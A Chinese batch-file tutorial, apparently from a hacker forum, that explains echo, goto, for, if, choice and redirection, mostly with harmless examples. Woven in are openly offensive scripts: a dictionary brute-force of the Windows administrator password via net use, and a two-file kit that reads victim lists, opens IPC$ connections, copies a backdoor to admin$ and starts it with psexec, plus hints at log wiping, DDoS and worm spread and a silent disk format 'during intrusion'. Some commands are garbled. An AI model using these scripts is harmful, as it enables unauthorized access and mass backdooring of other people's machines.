- 6) 这次我们要注意的，用这个脚本来实现远程文件共享，要求远程存在这个文件，否则无法共享。当然你也可以利用教本创建自己的文件夹，很容易的，自己创建吧。
- 7) 如上脚本创建后的共享是完全共享。就是可以删除修改文件的。
- 8) 用法举例：share netp net swswsw C:\dodo marsh

好了，到现在为止，大家应该对这位朋友有些了解了，我的介绍任务也就告一段落了，如果大家想进一步认识它，那就主要靠大家的主动性了。这次我们主要通过 WMIC 和脚本来认识它，下次我将带领大家通过真正的程序代码来认识它，让它也有个象 Windows 一样漂亮的脸蛋。今天我所提到的估计只能算是 WMI 的万分之一，都算不上是冰山一角。剩余的要靠自己来发挥了。如果你肯利用你的所学，那么奇迹就会产生。

批处理基本知识

将以要执行的程序指令,像在 dos 模式下一下写入记事本,保存成 bat 文件,就可以执行了

一.简单批处理内部命令简介

1.Echo 命令

打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。

语法:

```
echo [{on | off}] [message]
```

Sample : @echo off / echo hello world

在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用 > >> ^）结合来实现输入一些命令

到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令

表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。

Sample : @echo off

```
@echo Now initializing the program,please wait a minite...
```

```
@format X: /q/u/autoset (format 这个命令是不可以使用/y 这个参数的，可喜的是微软留了个 autoset 这
```

个参数给我们，效果和/y是一样的。)

3.Goto 命令

指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。

语法：goto label (label 是参数，指定所要转向的批处理程序中的行。)

Sample：

```
if {%1}=={} goto noparms
```

```
if {%2}=={} goto noparms ( 如果这里的 if、%1、%2 你不明白的话，先跳过去，后面会有详细的解释。 )
```

```
@Rem check parameters if null show usage
```

```
:noparms
```

```
echo Usage: monitor.bat ServerIP PortNumber
```

```
goto end
```

标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto 命令

就是根据这个：来寻找下一步跳到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

Rem 命令

注释命令，在 C 语言中相当与/*-----*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。

Rem Message

Sample：@Rem Here is the description.

5.Pause 命令

运行 Pause 命令时，将显示下面的消息：

```
Press any key to continue . . .
```

Sample：

```
@echo off
```

```
:begin
```

```
copy a:*. * d:\back
```

```
echo Please put a new disk into driver A
```

```
pause
```

```
goto begin
```

在这个例子中，驱动器 A 中磁盘上的所有文件均复制到 d:\back 中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。

Call 命令

从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。

语法:

```
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
```

参数:

```
[Drive:][Path] FileName
```

指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

start 命令

调用外部程序，所有的 DOS 命令和命令行程序都可以由 start 命令来调用。

常用参数：

MIN 开始时窗口最小化

SEPARATE 在分开的空间内开始 16 位 Windows 程序

HIGH 在 HIGH 优先级类别开始应用程序

REALTIME 在 REALTIME 优先级类别开始应用程序

WAIT 启动应用程序并等候它结束

parameters 这些为传送到命令/程序的参数

执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本

内执行，该新行为则不会发生。

8.choice 命令

choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为 1234.....

如: choice /c:dme defrag,mem,end

将显示

defrag,mem,end[D,M,E]?

Sample :

Sample.bat 的内容如下:

```
@echo off
```

```
choice /c:dme defrag,mem,end
```

```
if errorlevel 3 goto defrag ( 应先判断数值最高的错误码 )
```

```
if errorlevel 2 goto mem
```

```
if errorlevel 1 goto end
```

```
:defrag
```

```
c:\dos\defrag
```

```
goto end
```

```
:mem
```

```
mem
```

```
goto end
```

```
:end
```

```
echo good bye
```

此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择 d m e ，然后 if 语句将作出判断，d 表示执行

标号为 defrag 的程序段，m 表示执行标号为 mem 的程序段，e 表示执行标号为 end 的程序段，每个程序段最后

都以 goto end 将程序跳到 end 标号处，然后程序将显示 good bye，文件结束。

9.If 命令

if 表示将判断是否符合规定的条件，从而决定执行不同的命令。

有三种格式:

1)、if "参数" == "字符串" 待执行的命令

参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号)

如 if "%1"=="a" format a:

if {%1}=={} goto noparms

if {%2}=={} goto noparms

2)、if exist 文件名 待执行的命令

如果有指定的文件，则条件成立，运行命令，否则运行下一句。

如 if exist config.sys edit config.sys

3)、if errorlevel / if not errorlevel 数字 待执行的命令

如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。

如 if errorlevel 2 goto x2

DOS 程序运行时都会返回一个数字给 DOS，称为错误码 errorlevel 或称返回码，常见的返回码为 0、1。

for 命令

for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。

在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable

for {%variable | %%variable} in (set) do command [CommandLineOptions]

%variable 指定一个单一字母可替换的参数。

(set) 指定一个或一组文件。可以使用通配符。

command 指定对每个文件执行的命令。

command-parameters 为特定命令指定参数或命令行开关。

在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable

而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I

如果命令扩展名被启用，下列额外的 FOR 命令格式会受到支持：

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符，则指定与目录名匹配，而不与文件名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]

检查以 [drive:]path 为根的目录树，指向每个目录中的 FOR 语句。如果在 /R 后没有指定目录，则使用当前目录。如果集仅为一个单点(.)字符，则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-parameters]

该集表示以增量形式从开始到结束的一个数字序列。

因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生

序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN ('command') DO command

或者，如果有 usebackq 选项：

FOR /F ["options"] %variable IN (file-set) DO command

FOR /F ["options"] %variable IN ("string") DO command

FOR /F ["options"] %variable IN ('command') DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前，每份文件都已被打开、读取并经过处理。

处理包括读取文件，将其分成一行行的文字，然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为：

eol=c - 指一个行注释字符的结尾(就一个)

skip=n - 指在文件开始时忽略的行数。

delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号，那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。

usebackq - 指定新语法已在下类情况中使用：

在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 file-set 中使用双引号扩起文件名称。

sample1:

```
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
```

会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或 空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用 %j 来取得第三个符号，引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用

双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明，%j 和 %k 是通过 tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号，只要不试图说明一个高于字母 'z' 或 'Z' 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用单引号将括号之间的 filenameset 括起来。这样，该字符串会被当作一个文件中的一个单一输入行。

最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此

，以下例子：

```
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
```

会枚举当前环境中的环境变量名称。

另外，FOR 变量参照的替换已被增强。您现在可以使用下列选项语法：

~I - 删除任何引号(")，扩充 %I

%~fI - 将 %I 扩充到一个完全合格的路径名

%~dI - 仅将 %I 扩充到一个驱动器号

%~pI - 仅将 %I 扩充到一个路径

%~nI - 仅将 %I 扩充到一个文件名

%~xI - 仅将 %I 扩充到一个文件扩展名

%~sI - 扩充的路径只含有短名

%~aI - 将 %I 扩充到文件的文件属性

%~tI - 将 %I 扩充到文件的日期/时间

%~zI - 将 %I 扩充到文件的大小

%~\$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量

未被定义，或者没有找到文件，此组合键会扩充空字符串

可以组合修饰符来得到多重结果：

%~dpI - 仅将 %I 扩充到一个驱动器号和路径

%~nxI - 仅将 %I 扩充到一个文件名和扩展名

%~fsl - 仅将 %I 扩充到一个带有短名的完整路径名

%~dp\$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个驱动器号和路径。

%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似

%I 的大写变量名比较易读，而且避免与不分大小写的组合键混淆。

以上是 MS 的官方帮助，下面我们举几个例子来具体说明一下 For 命令在入侵中的用途。

sample2 :

利用 For 命令来实现对一台目标 Win2k 主机的暴力密码破解。

我们用 net use | "password" /u:"administrator" 来尝试这和目标主机进行连接，当成功时记下

密码。

最主要的命令是一条：for /f i% in (dict.txt) do net use | "i%" /u:"administrator"

用 i% 来表示 admin 的密码，在 dict.txt 中这个取 i% 的值用 net use 命令来连接。然后将程序运行结果传递给 find 命令 - -

for /f i%% in (dict.txt) do net use | "i%%" /u:"administrator" | find ":命令成功完

成">>D:\ok.txt，这样就 ko 了。

sample3 :

你有没有过手里有大量肉鸡等着你去种后门 + 木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：)。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。

主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k

tokens 的用法请参见上面的 sample1，在这里它表示按顺序将 victim.txt 中的内容传递给 door.bat 中的参数

%%i %%j %%k。

而 cultivate.bat 无非就是用 net use 命令来建立 IPC\$ 连接，并 copy 木马 + 后门到 victim，然后用返回码（If errorlevel =）来筛选成功种植后门的主机，并 echo 出来，或者 echo 到指定的文件。

delims= 表示 victim.txt 中的内容是一空格来分隔的。我想看到这里你也一定明白这 victim.txt 里的内容是什么样的了。应该根据 %%i %%j %%k 表示的对象来排列，一般就是 ip password username。

代码雏形：

----- cut here then save as a batchfile(I call it main.bat) -----

@echo off

@if "%1"==" " goto usage

@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

@goto end

:usage

@echo run this batch in dos modle.or just double-click it.


```

:end
----- cut here then save as a batchfile(I call it main.bat ) -----
-----

----- cut here then save as a batchfile(I call it door.bat) -----
-----

@net use | %3 /u:"%2"

@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection .....OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD
%3
>>ko.txt

@psexec | c:\winnt\system32\windrv32.exe

@psexec | net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

:failed
@echo Sorry can not connected to the victim.
----- cut here then save as a batchfile(I call it door.bat) -----
-----

```

这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe），PSEXEC.exe 需放在统一

目录下.批处理内容

尚可扩展,例如:加入清除日志+DDOS 的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

二.如何在批处理文件中使用参数

批处理中可以使用参数，一般从 1%到 9%这九个，当有多个参数时需要用 shift 来移动，这种情况并不多见

，我们就不考虑它了。

sample1 : fomat.bat

```

@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat

```

这个例子用于连续地格式化几张软盘，所以用的时候需在 dos 窗口输入 fomat.bat a，呵呵,好像有点画蛇添

足了~

sample2 :

当我们要建立一个 IPC\$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令

写入一个批处理，把肉鸡地 ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令

了。

```
@echo off
```

```
@net use | "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。
```

```
@if errorlevel 1 echo connection failed
```

怎么样,使用参数还是比较简单的吧?你这么帅一定学会了.No.3

三.如何使用组合命令(Compound Command)

1.&

Usage : 第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令，而不管命令是否执行成功

Sample :

```
C:\>dir z: & dir c:\Ex4rch
```

The system cannot find the path specified.

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 .

2002-05-14 23:51 ..

2002-05-14 23:51 14 sometips.gif

2.&&

Usage : 第一条命令 && 第二条命令 [&& 第三条命令...]

用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；

Sample :

```
C:\>dir z: && dir c:\Ex4rch
```

The system cannot find the path specified.

```
C:\>dir c:\Ex4rch && dir z:
```

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 .

2002-05-14 23:55 ..

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

2 Dir(s) 768,671,744 bytes free

The system cannot find the path specified.

在做备份的时候可能会用到这种命令会比较简单，如：

```
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb
```

E:\backup

如果远程服务器上存在 backup.mdb 文件，就执行 copy 命令，若不存在该文件则不执行 copy 命令。这种用法

可以替换 IF exist 了。

3. |

Usage：第一条命令 | 第二条命令 [| 第三条命令...]

用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；

Sample：

```
C:\Ex4rch>dir sometips.gif | del sometips.gif
```

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif

1 File(s) 14 bytes

0 Dir(s) 768,696,320 bytes free

组合命令使用的例子：

sample：

```
@copy trojan.exe | && if not errorlevel 1 echo IP %1 USER %2 PASS %3
```

```
>>victim.txt
```

四、管道命令的使用

1. | 命令

Usage：第一条命令 | 第二条命令 [| 第三条命令...]

将第一条命令的结果作为第二条命令的参数来使用，记得在 unix 中这种方式很常见。

sample：

```
time /t>>D:\IP.log
```

```
netstat -n -p tcp | find ":3389">>D:\IP.log
```

```
start Explorer
```

看出来了吗？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个 bat，以获得登录

用户的 IP。

2.>、>>输出重定向命令

将一条命令或某个程序输出结果的重定向到特定文件中，> 与 >>的区别在于，>会清除调原有文件中的内容

容后写入指定文件，而>>只会追加内容到指定文件中，而不会改动其中的内容。

sample1：

```
echo hello world>c:\hello.txt (stupid example?)
```

sample2:

时下 DLL 木马盛行，我们知道 system32 是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL 马也不

例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的 EXE 和 DLL 文件作一个记录：

运行 CMD--转换目录到 system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt, 这样所有的 EXE 和 DLL 文件的名称都被分别记录到 exeback.txt 和 dllback.txt 中, 日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入 DLL 木马了. 这时我们用同样的命令将 system32 下的 EXE 和 DLL 文件记录到另外的 exeback1.txt 和 dllback1.txt 中,然后运行:

CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用 FC 命令比较前后两次的 DLL 和 EXE 文件,并将结果输入到 diff.txt 中),这样我们就能发现一些多出来的 DLL 和 EXE 文件, 然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被 DLL 木马光顾了。没

有是最好, 如果有的话也不要直接 DEL 掉, 先用 regsvr32 /u trojan.dll 将后门 DLL 文件注销掉,再把它移到回收站里, 若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

3.<、>&、<&

< 从文件中而不是从键盘中读入命令输入。

>& 将一个句柄的输出写入到另一个句柄的输入中。

<& 从一个句柄读取输入并将其写入到另一个句柄输出中。

这些并不常用, 也就不多做介绍

批处理相关知识-2

一、什么叫做批处理文件？

批处理文件(文件名为*.BAT)就是将一些常用的命令写入一个文本文件内。当我们要使用这个文件时,只要键入批处理文件的文件名,批处理文件就会依照文件中的命令来执行全部或者是一部分指定要执行命令。如此我们便可简化我们的工作,而不用每一次都需要手动键入很多的命令来执行一些动作。一个批处理文件的建立,因为必须是一个文本文件;所以只要有字处理功能的软件,都可用来建立此文本文件,例如 EDIT, WORDSTAR, PE2.....等程序皆可。

二、什么是自动批处理？

自动批处理文件(AUTOEXEC.BAT),是批处理文件的一种,处于引导盘(一般为C盘或A盘)的根目录下,当每一次开机时,系统将自动到引导盘的根目录下查找它,如果找到了就自动执行它。

三、批处理文件中可以使用哪些命令？

只要能够在DOS的系统提示符下执行的命令,或应用软件执行文件名称,都能写在批处理文件中,批处理命令也可包含在内,详细如下:

1. DOS的内部命令
2. DOS的外部命令
3. COM的命令文件
4. EXE的可执行文件
5. 批文件命令: CALL, ECHO, FOR, GOTO, IF, PAUSE, REM, SHIFT
6. 其他的批文件

四、批处理文件命令

BATCH DOS 命令 1. 功能: 批处理命令是存储在一个特殊的批处理文件(Batch File)中的DOS命令。当执行一个批处理文件时,DOS将依次执行文件内所存储的各项DOS命令。

2. 格式: [d:][path][filename.bat][parameters]

3. 说明：①、批处理文件的扩展名应为.BAT。

②、当执行批处理文件时，您可将参数(parameters)传给一名称为 file-name.bat 的文件，给予不同的参数，将可以执行类似的工作。

③、如果要停止批处理文件的动作，只要按下 ctrl+break 二键，即可停止正在执行的命令，并且出现下述信息：

```
terminate batch job?(Y/N)
```

如果按下 Y 键就可以终止批处理文件的执行工作。如果按 N 键，那系统将会继续执行其它的批处理文件中的命令。

4. 范例：①、如果在 test.bat 文件内包括一些替换参数，将使得在执行时，可以使用您所提供的值来替换它。例如：

```
copy %1.mac %2.mac
```

```
type %2.prn
```

```
type %0.bat
```

%0,%1,%2 这三个可以被代换的参数，于执行时将使用批处理文件时的三个参数顺序依次来代换之。

%0 参数永远使用批处理文件的文件名来取代。

在一个批处理文件内最多可以使用 10 个替换参数(%0 到%9)

②、当您执行 test.bat 的批处理文件时，系统将依照%1,%2 等顺序给予适当的参数。例如：

```
A:\>test a:prog1 b:prog2
```

于是系统将以 test 代表%0，以 a:\prog1 代表%1，以 b:\prog2 代表%2 因此在执行此命令时，就相当于直接在键盘上依次输入下述 DOS 命令一样：

```
copy a:\prog1.mac b:\prog2.mac
```

```
type b:\prog2.prn
```

```
type test.bat
```

③、批处理文件亦可使用 DOS 的环境变量。环境变量于使用时前后都要加上一个%符号。例如要取用 DOS PATH 的值，您必需输入%PATH%。下例是先假设将变量 destination 定义为一台磁盘驱动器代码：SET destination=C:于是执行以下所述命令

```
ECHO dot here>%destination%FILE1 （必须在批处理文件中执行）
```

执行之后，C 磁盘的 file1 文件内将会存在 dot here 字符串。

CALL 批处理文件命令 1. 功能：您可以在批处理文件里面调用一个批处理文件，执行完毕后在继续执行原来的这个批处理文件内的剩余命令。

2. 格式：CALL[d:][path][filename.bat][argument]

3. 说明：①、[argument]参数：指定经由批处理文件所要求的任何命令行信息；它可包含开关选择项、文件指定、变量%1 至%9 以及其它像%baud%这样的变量。

②、CALL 命令可以在批处理文件的任何位置，只要执行时不要超过内存容量即可。

③、批处理文件也可以调用自己本身，但必须确定最后仍可以结束才好。

④、CALL 命令不可以与重定向输入字符（如：<）以及数据管道字符（如：|）合用。

4. 范例：①、现有 main.bat 批处理文件内容如下所述：

```
REM I am 1st batch file
```

```
REM go to 2nd batch file
```

```
CALL a2
```

```
REM now come back!
```

```
REM END
```

②、其中 A2.bat 批处理文件内容如下所述：

```
REM I am 2nd batch file
```

REM I will back to main batch file

③、执行时

A:\>main (执行 main.bat)

A:\>REM I am ist batch file (main.bat 前两行)

A:\>REM go 2nd batch file

A:\>CALL A2 (由 main.bat 中调用 a2.bat)

A:\>REM I am 2nd batch file (执行 a2.bat 文件的内容)

A:\>REM I will back to main batch file

A:\>REM now come back! (a2.bat 结束后返回 main.bat)

A:\>REM END 继续执行其余命令)

CHOICE 选择键组命令 批处理文件命令 1. 功能： 此命令将显示指定的提示并暂停让用户在指定的键组中做选择，然后返回一个 ERRORLEVEL 参数给批处理程序。您只能在批处理程序中使用本命令。

2. 格式：[d:][path]CHOICE[/C[:]KEYS][/N][/S][/T[:]C'nn'] [test]

3. 说明： ①、/C[:]keys 参数：在提示中指定允许可用的键。当显示时，keys 将以逗点分开并放置于括弧中，而且其后将会加上问号。如果您并无指定/C 参数，则 CHOICE 将会使用 YN 来当做默认值。冒号 (:) 是可有可无的。

②、/N 参数：使 CHOICE 不显示提示，但是提示前的文字仍会显示。如果您指定此参数，则指定键仍然有效。

③、/S 参数：将导致 CHOICE 会区分大小写。如果此参数未被指定，则 CHOICE 将接受用户指定的任意键值的大写或小写。

④、/T[:]C'nn 参数：在默认指定键之前，使 CHOICE 在指定的秒数中暂停。/T 参数可用的值如下所示：c---nn 秒后，指定的字符将为默认的。字符必须是/c 参数中所指定的选择组。

nn--指定暂停的秒数。可接受 0 到 99 之间。如果指定 0，则在默认之前将不会有暂停。

⑤、[test]参数：您想在提示符前显示的字符。假如您包含斜线 (\) 做为提示前字符的一部分时，则必须加引号。如果您并无提示字符，则 CHOICE 将仅显示提示符。您所分派的第一个键将为 1，第二个键将为 2.....余此类推。如果用户按下了一个未分派到的键，则 CHOICE 将发出一警告声响。如果 CHOICE 检测到一个错误的情况，那么它将返回一 ERRORLEVEL 值为 255 的值；如果使用者按下了 Crtl+Break 二键或 Ctrl+c 二键，则 CHOICE 将返回一 ERRORLEVEL 值为 0 的值。

4、范例： 这个 CHIOCE 命令最有用的地方就是用在批处理文件设计中。它将让用户按下指定的按键后，执行某一段在批处理文件中的命令。例如：下面是包含 CHOICE 命令的 TEST.BAT 文件内容：

```
@echo off
```

```
cls
```

```
echo. 1
```

```
echo 1.defragment |
```

```
echo 2.MSD |——显示这些字符
```

```
echo 3.Anti-Virus |
```

```
echo. 2
```

choice/c:123/t:1,10 将出现要您选择 1 或者 2 或者 3 的提示字符，如果等 10 秒后，用户尚未键入 1 或 2 或 3 中任一字符，则自动键入 1。

if errorlevel 1 goto defragment 当用户在上述键入 1 时，将寻找：defragment 段来执行 defrag 程序。

if errorlevel 2 goto msd 当用户在上述键入 2 时，将寻找：msd 段来执行 msd 程序。

if errorlevel 3 goto av 当用户到上述键入 3 时，将寻找：av 段来执行 msav 程序。

```

:defragment 丿
defrag 丿:defragment 段
goto end 丿
:msd 丿
msd 丿:msd 段
goto end 丿
:av 丿
msav 丿:av 段
goto end 丿
:end 结束

```

ECHO 批处理文件命令 1 . 功能：允许批处理文件执行时显示或不显示命令本身，但对于命令的执行则无影响。

2 . 格式：ECHO [on|off]

ECHO [message]

3 . 说明：①、ECHO 命令在启动或系统重置时，均默认为 on，而可将每一批处理命令在执行同时，显示在输出设备（屏幕）上。

②、当 ECHO 命令设定为 off 时在批处理命令执行时，将不显示该命令内容，但不影响执行结果。

③、如果您指定了 ECHO message，则不论是 ECHO on 或 ECHO off，message 信息皆会显示在标准输出设备（屏幕）上。

④、如果 ECHO 后面未加任何字符，如 on、off 或 message，则只会显示出 ECHO 当前是在 on 或 off 的状态。

4 . 范例：

REM 范例：①

ECHO off

ECHO piping symbol "\"ECHO redirect symbol">/"

"/" 及 ">" 在 DOS 命令里有其特殊的意义，如果要让 DOS 不处理时，则需使用双引号括起来。

REM 范例：②

@ECHO off

@REM THIS LINE WILL NOT DISPLAY

REN THIS LINE WILL BE DISPLAYED

@file1

上例中，命令前有 @ 符号，其命令行本身将不会被显示出来，其余的命令行都将被显示出来。

REM 范例：③

@ECHO off

DIR *.TXT

执行的结果如下：

Volume in drive A is ABC

Directory of A:TEST1 TXT 13 06-26-90 4:03P

TEST2 TXT 13 06-26-90 4:03P

TEST3 TXT 13 06-26-90 4:04P

3 File(s) 310272 bytes free

连 ECHO off 命令本身亦不显示。

FOR 内部命令、批处理文件命令 1 . 功能：可以让我们反覆地执行 DOS 的命令。

2. 格式：在批处理文件中：

```
FOR [%%c] in(set) DO [command][arguments]
```

在 MS-DOS 命令行中：

```
FOR [%c] in(set) DO [command][arguments]
```

3. 说明：①、[%%c]或[%c]参数：将顺序地得到(set)这个集合中的各个元素来作为它的值，当得到一个值之后，就执行 COMMAND 此一 DOS 命令。

②、(set)中可包含*、?、/等通配符，那么[%%c]参数就会被设置成磁盘中能够匹配指定的第一个文件名称，同时亦可使用路径。

③、[command]参数：指定您希望执行在每一包含在(set)中文件命令。

④、[arguments]参数为：[command]参数指定选择项。

4. 范例：①、如果一批处理文件中含有下述命令：

```
FOR %%F IN (TEST1.DBF TEST2.DBF TEST3.DBF) DO DEL %%F
```

则执行时，将有下列的结果：

```
DEL TEST1.DBF
```

```
DEL TEST2.DBF
```

```
DEL TEST3.DBF
```

②、如果批处理文件中含有下述的命令：(在 TEST.BAT 内)

```
FOR %%F IN (%1 %2 %3 %4 %5) DO DEL %%F
```

则在执行时执行下列命令，将有与前项相同的结果：

```
A>TEST TEST1.DBF TEST2.DBF TEST3.DBF
```

③、如果欲在 DOS 下直接执行此命令，则%%c 只要改为%c 的形式即可。

GOTO 内部命令、批处理文件命令 1. 功能：将 DOS 控制权转移到某标号 (LABEL) 中，继续往后面执行。在批处理文件中的一个标号是以一个冒号 (:) 开头，其后跟着一个标号名称 (LABEL NAME) 所组成。

格式：GOTO label

3. 说明：①、GOTO label 会造成接着执行标号 label 那一行的命令。

②、如果 label 未被定义，则当前这一个批处理文件的动作就会停止，并显示 label notfound 信息。

③、批处理文件中的标号名称是由前面 8 个字来定义的。

④、批处理文件的标号是永远不会显示出来的。所以未引用的标号可用来作为一些注解。

4. 范例：TEST.BAT 文件，内容如下：

```
@ECHO OFF
```

```
GOTO SECOND
```

```
:FIRST
```

```
REM I AM FIRST
```

```
:SECOND
```

```
REM I AM SECOND
```

执行结果如下：

```
REM I AM SECOND
```

IF 内部命令、批处理文件命令 1. 功能：使 DOS 可以有条件地执行命令。

2. 格式：IF[not] errorlevel number command

IF[not] [string1]=[string2] command

IF[not] exist filename.ext command

3. 说明：①、[not]参数：是一个可选择使用的条目，使用时会将其后面条件的结果再求一个相反的结果。

②、errorlevel number:errorlevel 是 DOS 产生出来的一个退出码。如果退出码大于或等于 number(指定一个十进制值), 则此条件成立, 系统即可执行后面指定的 command。

注意: 测试退出码时要由大到小来测试, 因为退出码只要测到大于或等于指定的值时, 该条件即成立。

③、[string1]=[string2]: string1 及 string2 皆为字符的数据, 英文字母的大小写将视为不同。当 [string1]及[string2]内容完全相同时, 则此条件成立, 并执行后面指定的 command。此条件中的等号(=)必须要有两个。

④、exist filename.ext: 如果指定的文件存在时, 则所得的结果为“真”, 否则为“假”。若为真, 则系统即执行后面指定的 command。

⑤、IF 命令为一个分支命令。condition 是一个条件, command 是根据条件成立时才去执行的命令。若不成立时则往下继续执行下一个批处理文件命令。

⑥、IF errorlevel 主要是用于配合自己的程序, 并于执行完毕后设置一个错误代码(errorcode), 以便与 IF errorlevel 命令一起使用。

4. 范例: REM 范例: ①

```
@ECHO OFF MYPROG1
IF ERRORLEVEL 2 GOTO 2
IF ERRORLEVEL 1 GOTO 1
GOTO EXTI
:L1
ECHO DATA ERROR
GOTO EXIT
:L2
ECHO PROGRAM CANCEL
:EXIT
```

上例中 MYPROG1 为一程序, 在执行时如果发生退出码时, 则表示该程序未执行成功。

REM 范例: ②

```
@ECHO OFF
IF "%1"==" " GOTO EXIT
IF %1==1 GOTO L1
IF %1==2 GOTO L2
GOTO EXIT
:L1
ECHO I AM L1
GOTO EXIT
:L2
ECHO I AM L2
:EXIT
```

本例中, ""(空字符串)、1、2 是指定要与%1 参数比较的字符串。

REM 范例: ③

```
@ECHO OFF
IF NOT EXIST PE2.EXE GOTO EXIT
PE2
GOTO END
:EXIT
```

ECHO PE2.EXE NOT FOUND!

:END

本例中，先检查 PE2.EXE 文件是否存在，不存在时则显示一个找不到的信息后结束。如果找到时则执行该程序后结束。

PAUSE 内部命令、批处理文件命令 1．功能：暂时停止系统命令的执行并显示下列信息：

strike a key when ready.....

2．格式：PAUSE

